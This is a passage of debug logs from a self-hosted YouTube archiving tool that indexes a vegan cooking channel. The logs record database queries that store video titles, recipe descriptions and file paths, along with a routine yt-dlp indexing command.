cilantro or other herbs? Chop of the last inch of the stems - place in a glass with a couple inches of water - keep in your fridge - stay fresh for much longer and will come right back to life if wilty!\n4. Abundance of asparagus? Chop off stalky wooden ends and place in jar of water and keep in your fridge - will stay fresher for longer!\n5. Floppy carrots or daikon radish? Peel and slice lengthwise and submerge completely in a jar of water and keep in the fridge - will firm right back up and stay fresh for weeks! \n\nFollow @steamyvegankitchen for more kitchen tips, hacks and easy vegan recipes!\n\n\n#steamyvegankitchen #steamyvegan #lowwastekitchen #foodwastewarriors #foodwastetips #saynotofoodwaste #peko #pekoproduce #yvr #yvrfoodie #vancouver #vancouver🇨🇦 #vancouverveganfood #vancouverveganscene #vancouvervegans", "ZERO WASTE PRODUCE PREP! Part 1", "4ec43a22-89d6-426b-a6b0-ab21588d6569", 1, [], 59, false, "yMZdQORVy6U", "https://www.youtube.com/shorts/yMZdQORVy6U", 491, "/downloads/downloads/alec/Steamy Vegan/2022-03-14 ZERO WASTE PRODUCE PREP! Part 1/ZERO WASTE PRODUCE PREP! Part 1 [yMZdQORVy6U].NA", false, false, true, 0, ~U[2022-03-14 22:49:22Z], ~U[2026-03-22 03:31:03Z], ~U[2026-03-22 03:31:03Z], "On Sundays I like to prep as many fruits and veggies as I can to be able to easily use them throughout the week with no fuss, and as little waste as possible. \n\nSAVE THESE TIPS FOR LATER! 👍🏻\n\n1. Lots of extra citrus fruits hanging around? Cut them into chunks and freeze them on a baking tray - transfer to a sealable bag or container - use them in smoothies, yogurt or vitamin water!\n2. What about those citrus peels? Place them in a jar - cover with white vinegar - seal tightly - store in cupboard for up to a week - remove peels and pour liquid into spray bottle with water and Castile soap = countertop cleaner! Check out @plantyou feed for her easy recipe!\n3. Wilting cilantro or other herbs? Chop of the last inch of the stems - place in a glass with a couple inches of water - keep in your fridge - stay fresh for much longer and will come right back to life if wilty!\n4. Abundance of asparagus? Chop off stalky wooden ends and place in jar of water and keep in your fridge - will stay fresher for longer!\n5. Floppy carrots or daikon radish? Peel and slice lengthwise and submerge completely in a jar of water and keep in the fridge - will firm right back up and stay fresh for weeks! \n\nFollow @steamyvegankitchen for more kitchen tips, hacks and easy vegan recipes!\n\n\n#steamyvegankitchen #steamyvegan #lowwastekitchen #foodwastewarriors #foodwastetips #saynotofoodwaste #peko #pekoproduce #yvr #yvrfoodie #vancouver #vancouver🇨🇦 #vancouverveganfood #vancouverveganscene #vancouvervegans", "ZERO WASTE PRODUCE PREP! Part 1", 1, 59, false, "yMZdQORVy6U", "https://www.youtube.com/shorts/yMZdQORVy6U", "/downloads/downloads/alec/Steamy Vegan/2022-03-14 ZERO WASTE PRODUCE PREP! Part 1/ZERO WASTE PRODUCE PREP! Part 1 [yMZdQORVy6U].NA", true, ~U[2022-03-14 22:49:22Z]] 20:31:03.741 [debug] QUERY OK source="sources" db=0.2ms idle=999.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:03.742 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:03.743 [debug] QUERY OK source="media_items" db=0.5ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [880] 20:31:03.743 [debug] Current batch of media processed. Will check again in 1000ms 20:31:04.744 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 60, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-03-14 TURMERIC GINGER BANANA MUFFINS 🍌/TURMERIC GINGER BANANA MUFFINS 🍌 [xGgou0Oyv_w].NA", "id" => "xGgou0Oyv_w", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/xGgou0Oyv_w", "playlist_index" => 492, "timestamp" => 1647272848, "title" => "TURMERIC GINGER BANANA MUFFINS 🍌", "upload_date" => "20220314"} 20:31:04.745 [debug] QUERY OK source="sources" db=0.9ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:31:04.747 [debug] QUERY OK source="sources" db=0.9ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:04.750 [debug] QUERY OK source="media_items" db=2.8ms idle=1004.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-03-14 15:47:28Z], 1] 20:31:04.751 [debug] QUERY OK source="media_items" db=0.8ms idle=1006.5ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["TURMERIC GINGER BANANA MUFFINS 🍌", "9c8eff8c-0367-4863-9280-d337a74264ad", 1, [], 60, false, "xGgou0Oyv_w", "https://www.youtube.com/shorts/xGgou0Oyv_w", 492, "/downloads/downloads/alec/Steamy Vegan/2022-03-14 TURMERIC GINGER BANANA MUFFINS 🍌/TURMERIC GINGER BANANA MUFFINS 🍌 [xGgou0Oyv_w].NA", false, false, true, 1, ~U[2022-03-14 15:47:28Z], ~U[2026-03-22 03:31:04Z], ~U[2026-03-22 03:31:04Z], "", "TURMERIC GINGER BANANA MUFFINS 🍌", 1, 60, false, "xGgou0Oyv_w", "https://www.youtube.com/shorts/xGgou0Oyv_w", "/downloads/downloads/alec/Steamy Vegan/2022-03-14 TURMERIC GINGER BANANA MUFFINS 🍌/TURMERIC GINGER BANANA MUFFINS 🍌 [xGgou0Oyv_w].NA", true, ~U[2022-03-14 15:47:28Z]] 20:31:04.752 [debug] QUERY OK source="sources" db=0.5ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:04.753 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:04.754 [debug] QUERY OK source="media_items" db=0.4ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [881] 20:31:04.754 [debug] Current batch of media processed. Will check again in 1000ms 20:31:05.755 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "‘Cuz we is lazy! SAVE THIS RECIPE FOR LATER! ✨\n\n🧀 2 boxes of your fave vegan mac (Chickapea Pasta, got from Vegan Supply Surrey on clearance!)\n🧀 Plant-based cheeze shreds (Daiya Foods)\n🧀 2 tbsp vegan butter (Earth Balance)\n🧀 Lil splash of non-dairy milk \n🧀 Leftover cooked veggies (broccoli, carrots, potatoes, etc)\n🧀 Chopped green onion and kale (IGWorks) \n🧀 Deliciou vegan bacon seasoning \n🧀 Pickled jalapeños for garnish \n\n1. Cook your boxed mac & cheese according to package directions, using the vegan butter and adding in additional shredded cheez and bacon seasoning.\n2. Mix in the leftover veggies and chopped kale + green onion. Cover and let the kale steam and cheeze melt on a low heat).\n3. Serve that ooey gooey cheezy goodness with some pickled jalapeños! BOOM 🤯 \n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare #instavegan #vegansofig #vegansofinstagram #lowwasteliving #lowwastecooking", "duration" => 60, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-03-14 BOUJIE BOXED MAC ‘N CHEEZE 🧀👑/BOUJIE BOXED MAC ‘N CHEEZE 🧀👑 [KSdJfmxYGQU].NA", "id" => "KSdJfmxYGQU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/KSdJfmxYGQU", "playlist_index" => 493, "timestamp" => 1647220077, "title" => "BOUJIE BOXED MAC ‘N CHEEZE 🧀👑", "upload_date" => "20220314"} 20:31:05.757 [debug] QUERY OK source="sources" db=1.3ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:31:05.758 [debug] QUERY OK source="sources" db=0.4ms idle=1005.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:05.761 [debug] QUERY OK source="media_items" db=2.6ms idle=1005.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-03-14 01:07:57Z], 1] 20:31:05.766 [debug] QUERY OK source="media_items" db=1.9ms idle=1009.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["‘Cuz we is lazy! SAVE THIS RECIPE FOR LATER! ✨\n\n🧀 2 boxes of your fave vegan mac (Chickapea Pasta, got from Vegan Supply Surrey on clearance!)\n🧀 Plant-based cheeze shreds (Daiya Foods)\n🧀 2 tbsp vegan butter (Earth Balance)\n🧀 Lil splash of non-dairy milk \n🧀 Leftover cooked veggies (broccoli, carrots, potatoes, etc)\n🧀 Chopped green onion and kale (IGWorks) \n🧀 Deliciou vegan bacon seasoning \n🧀 Pickled jalapeños for garnish \n\n1. Cook your boxed mac & cheese according to package directions, using the vegan butter and adding in additional shredded cheez and bacon seasoning.\n2. Mix in the leftover veggies and chopped kale + green onion. Cover and let the kale steam and cheeze melt on a low heat).\n3. Serve that ooey gooey cheezy goodness with some pickled jalapeños! BOOM 🤯 \n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare #instavegan #vegansofig #vegansofinstagram #lowwasteliving #lowwastecooking", "BOUJIE BOXED MAC ‘N CHEEZE 🧀👑", "c96eb9bf-bbe7-4003-a34a-91ff5f17123f", 1, [], 60, false, "KSdJfmxYGQU", "https://www.youtube.com/shorts/KSdJfmxYGQU", 493, "/downloads/downloads/alec/Steamy Vegan/2022-03-14 BOUJIE BOXED MAC ‘N CHEEZE 🧀👑/BOUJIE BOXED MAC ‘N CHEEZE 🧀👑 [KSdJfmxYGQU].NA", false, false, true, 2, ~U[2022-03-14 01:07:57Z], ~U[2026-03-22 03:31:05Z], ~U[2026-03-22 03:31:05Z], "‘Cuz we is lazy! SAVE THIS RECIPE FOR LATER! ✨\n\n🧀 2 boxes of your fave vegan mac (Chickapea Pasta, got from Vegan Supply Surrey on clearance!)\n🧀 Plant-based cheeze shreds (Daiya Foods)\n🧀 2 tbsp vegan butter (Earth Balance)\n🧀 Lil splash of non-dairy milk \n🧀 Leftover cooked veggies (broccoli, carrots, potatoes, etc)\n🧀 Chopped green onion and kale (IGWorks) \n🧀 Deliciou vegan bacon seasoning \n🧀 Pickled jalapeños for garnish \n\n1. Cook your boxed mac & cheese according to package directions, using the vegan butter and adding in additional shredded cheez and bacon seasoning.\n2. Mix in the leftover veggies and chopped kale + green onion. Cover and let the kale steam and cheeze melt on a low heat).\n3. Serve that ooey gooey cheezy goodness with some pickled jalapeños! BOOM 🤯 \n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare #instavegan #vegansofig #vegansofinstagram #lowwasteliving #lowwastecooking", "BOUJIE BOXED MAC ‘N CHEEZE 🧀👑", 1, 60, false, "KSdJfmxYGQU", "https://www.youtube.com/shorts/KSdJfmxYGQU", "/downloads/downloads/alec/Steamy Vegan/2022-03-14 BOUJIE BOXED MAC ‘N CHEEZE 🧀👑/BOUJIE BOXED MAC ‘N CHEEZE 🧀👑 [KSdJfmxYGQU].NA", true, ~U[2022-03-14 01:07:57Z]] 20:31:05.766 [debug] QUERY OK source="sources" db=0.2ms idle=16.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:05.767 [debug] QUERY OK source="media_profiles" db=0.6ms idle=9.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:05.768 [debug] QUERY OK source="media_items" db=0.5ms idle=9.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [882] 20:31:05.768 [debug] Current batch of media processed. Will check again in 1000ms 20:31:06.085 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@steamyvegan --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/downloads/alec/Steamy Vegan/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/f9/51/f9510edfedfc985f7c082b5fe9fc255eb9822db175ad305a79a9b53f842d0bca.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:31:06.110 [debug] Gracefully stopping file follower 20:31:06.111 [debug] QUERY OK source="sources" db=0.9ms idle=349.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:31:06.112 [debug] QUERY OK source="sources" db=0.3ms idle=345.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.115 [debug] QUERY OK source="media_items" db=2.6ms queue=0.3ms idle=345.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-21 00:00:00Z], 1] 20:31:06.117 [debug] QUERY OK source="media_items" db=1.3ms idle=348.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This tofu recipe is one of my favourite easy one pot recipes to make for date night. My Marry Me Tofu recipe is vegan, gluten-free, high-protein, and great for meal prep if you want to make a big double batch of it. #tofu #tofurecipe #plantbased #easyrecipe \n\nJoin the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nGet the recipe for my Marry Me Tofu on my blog! 🔗 https://steamyvegan.com/marry-me-tofu/\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out these recent recipes on the channel:\nTofu Bibimbap: \u00A0\u00A0\u00A0•\u00A0Love\u00A0bibimbap?\u00A0You\u00A0NEED\u00A0to\u00A0try\u00A0one\u00A0of\u00A0my\u00A0f...\u00A0\u00A0\nDill Pickle Pasta: \u00A0\u00A0\u00A0•\u00A0This\u00A0high\u00A0protein\u00A0pasta\u00A0might\u00A0actually\u00A0cha...\u00A0\u00A0\nLentil Flatbread: \u00A0\u00A0\u00A0•\u00A0I\u00A0use\u00A0this\u00A02\u00A0ingredient\u00A0lentil\u00A0bread\u00A0for\u00A0w...\u00A0\u00A0\n\nCheck out my recipes on these sites:\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 Exclusive Discounts on Products I Actually Use 💚\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US) - I love the Complete Coffee or Chocolate Maca Protein Powders\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan", "Viral Marry Me Tofu Recipe (Vegan & Gluten-Free!) | One Pot Recipe, 30 Minutes", "acc019a3-9d3d-4fcf-b3a7-cb17e0a02d60", 1, [], false, "0MSW0B91n9c", "https://www.youtube.com/watch?v=0MSW0B91n9c", 1, "/downloads/downloads/alec/Steamy Vegan/2026-03-21 Viral Marry Me Tofu Recipe (Vegan & Gluten-Free!) | One Pot Recipe, 30 Minutes/Viral Marry Me Tofu Recipe (Vegan & Gluten-Free!) | One Pot Recipe, 30 Minutes [0MSW0B91n9c].NA", false, false, false, 1, ~U[2026-03-21 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "This tofu recipe is one of my favourite easy one pot recipes to make for date night. My Marry Me Tofu recipe is vegan, gluten-free, high-protein, and great for meal prep if you want to make a big double batch of it. #tofu #tofurecipe #plantbased #easyrecipe \n\nJoin the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nGet the recipe for my Marry Me Tofu on my blog! 🔗 https://steamyvegan.com/marry-me-tofu/\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out these recent recipes on the channel:\nTofu Bibimbap: \u00A0\u00A0\u00A0•\u00A0Love\u00A0bibimbap?\u00A0You\u00A0NEED\u00A0to\u00A0try\u00A0one\u00A0of\u00A0my\u00A0f...\u00A0\u00A0\nDill Pickle Pasta: \u00A0\u00A0\u00A0•\u00A0This\u00A0high\u00A0protein\u00A0pasta\u00A0might\u00A0actually\u00A0cha...\u00A0\u00A0\nLentil Flatbread: \u00A0\u00A0\u00A0•\u00A0I\u00A0use\u00A0this\u00A02\u00A0ingredient\u00A0lentil\u00A0bread\u00A0for\u00A0w...\u00A0\u00A0\n\nCheck out my recipes on these sites:\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 Exclusive Discounts on Products I Actually Use 💚\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US) - I love the Complete Coffee or Chocolate Maca Protein Powders\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan", "Viral Marry Me Tofu Recipe (Vegan & Gluten-Free!) | One Pot Recipe, 30 Minutes", 1, nil, false, "0MSW0B91n9c", "https://www.youtube.com/watch?v=0MSW0B91n9c", "/downloads/downloads/alec/Steamy Vegan/2026-03-21 Viral Marry Me Tofu Recipe (Vegan & Gluten-Free!) | One Pot Recipe, 30 Minutes/Viral Marry Me Tofu Recipe (Vegan & 